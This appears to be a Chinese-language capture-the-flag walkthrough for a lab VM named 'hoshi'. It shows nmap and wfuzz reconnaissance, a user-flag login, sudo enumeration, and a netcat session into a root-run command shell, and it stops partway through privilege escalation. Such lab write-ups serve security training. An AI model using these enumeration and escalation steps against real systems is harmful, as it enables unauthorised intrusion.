nmap -T4 -A -v 192.168.56.121 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-23 03:13 EDT NSE: Loaded 156 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 03:13 Completed NSE at 03:13, 0.00s elapsed Initiating NSE at 03:13 Completed NSE at 03:13, 0.00s elapsed Initiating NSE at 03:13 Completed NSE at 03:13, 0.00s elapsed Initiating ARP Ping Scan at 03:13 Scanning 192.168.56.121 [1 port] Completed ARP Ping Scan at 03:13, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 03:13 Completed Parallel DNS resolution of 1 host. at 03:13, 0.03s elapsed Initiating SYN Stealth Scan at 03:13 Scanning 192.168.56.121 [1000 ports] Discovered open port 22/tcp on 192.168.56.121 Discovered open port 80/tcp on 192.168.56.121 Completed SYN Stealth Scan at 03:13, 0.08s elapsed (1000 total ports) Initiating Service scan at 03:13 Scanning 2 services on 192.168.56.121 Completed Service scan at 03:13, 6.04s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.56.121 NSE: Script scanning 192.168.56.121. Initiating NSE at 03:13 Completed NSE at 03:13, 0.28s elapsed Initiating NSE at 03:13 Completed NSE at 03:13, 0.01s elapsed Initiating NSE at 03:13 Completed NSE at 03:13, 0.00s elapsed Nmap scan report for 192.168.56.121 Host is up (0.00080s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.62 (Debian) |_http-title: \xE5\x95\x86\xE5\x93\x81\xE5\x8F\x8D\xE9\xA6\x88 - \xE6\x98\x9F\xE9\x99\x85\xE5\x95\x86\xE5\x9F\x8E MAC Address: 08:00:27:93:25:4C (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Uptime guess: 33.089 days (since Wed May 21 01:05:12 2025) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.80 ms 192.168.56.121
NSE: Script Post-scanning. Initiating NSE at 03:13 Completed NSE at 03:13, 0.00s elapsed Initiating NSE at 03:13 Completed NSE at 03:13, 0.00s elapsed Initiating NSE at 03:13 Completed NSE at 03:13, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds Raw packets sent: 1023 (45.806KB) | Rcvd: 1015 (41.286KB)
dirsearch -u 192.168.56.121 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. from pkg_resources import DistributionNotFound, VersionConflict
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.56.121/hoshi/gift.php?FUZZ=index.html Total requests: 207643
===================================================================== ID Response Lines Word Chars Payload =====================================================================
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Jun 23 02:29:41 2025 from 192.168.56.104 welcome@hoshi:~$ cat user.txt flag{user-73b671a5f913d849d405784a428288dd} welcome@hoshi:~$
Root
sudo -l 查看可执行程序。
1 2 3 4 5 6 7
welcome@hoshi:~$ sudo -l Matching Defaults entries for welcome on hoshi: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on hoshi: (ALL) NOPASSWD: /usr/bin/python3 /root/12345.py welcome@hoshi:~$
1 2
welcome@hoshi:~$ sudo /usr/bin/python3 /root/12345.py Server listening on port 12345...
发现开启了一个端口,我们用nc连一下,是个命令执行界面。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
nc 192.168.56.121 12345 conf> x Unknown command. Type 'help' for commands. conf> help === Configuration Shell === ?/help List available commands q/quit Exit the shell read_config Read server configuration write_config Write to server configuration list_files List files in /opt directory check_status Check server status exec_cmd Execute allowed system commands (e.g., whoami, pwd)
conf>
值得注意的是只能执行白名单中的命令,不过有个list_files,列出/opt目录下的文件。
1 2 3 4 5
conf> list_files Files in /opt: server.conf server.log